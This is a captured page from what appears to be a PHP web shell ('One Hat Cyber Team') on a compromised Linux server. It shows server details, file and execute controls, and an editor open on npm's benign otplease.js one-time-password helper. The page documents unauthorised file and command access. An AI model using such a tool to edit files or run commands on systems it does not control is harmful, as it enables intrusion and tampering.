One Hat Cyber Team
Your IP :
10.30.1.1
Server IP :
103.148.201.5
Server :
Linux web-olt 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Server Software :
Apache/2.4.52 (Ubuntu)
PHP Version :
8.1.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
9611
/
root
/
usr
/
share
/
npm
/
lib
/
utils
/
Edit File:
otplease.js
const prompt = 'This operation requires a one-time password.\nEnter OTP:' const readUserInfo = require('./read-user-info.js') const isOtpError = err => err.code === 'EOTP' || (err.code === 'E401' && /one-time pass/.test(err.body)) module.exports = otplease function otplease (opts, fn) { opts = { prompt, ...opts } return Promise.resolve().then(() => fn(opts)).catch(err => { if (!isOtpError(err)) { throw err } else if (!process.stdin.isTTY || !process.stdout.isTTY) { throw err } else { return readUserInfo.otp(opts.prompt) .then(otp => fn({ ...opts, otp })) } }) }
Simpan